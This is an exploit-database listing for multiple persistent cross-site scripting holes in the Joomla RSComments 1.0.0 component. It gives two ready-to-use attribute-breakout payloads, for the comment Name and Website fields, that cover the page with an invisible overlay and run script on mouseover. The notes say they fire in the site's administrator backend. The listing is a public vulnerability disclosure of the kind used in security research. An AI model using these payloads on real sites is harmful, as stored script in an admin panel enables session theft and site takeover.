Joomla Component RSComments 1.0.0 Multiple XSS

2010-06-19T00:00:00
ID 1337DAY-ID-12792
Type zdt
Reporter jdc
Modified 2010-06-19T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ==============================================
Joomla Component RSComments 1.0.0 Multiple XSS
==============================================


# Exploit Title: Joomla Component RSComments 1.0.0 Multiple XSS Vulnerabilities
# Author: jdc
# Software Link: http://www.rsjoomla.com
# Version: 1.0.0
# Tested on: PHP5, MySQL5
 
Name Field Persistent XSS
-------------------------
 
x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//"
 
NOTE: ONLY executes in backend!
 
Website Field Persistent XSS
----------------------------
 
http://x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//"
 
NOTE: also executes in backend!



#  0day.today [2018-02-16]  #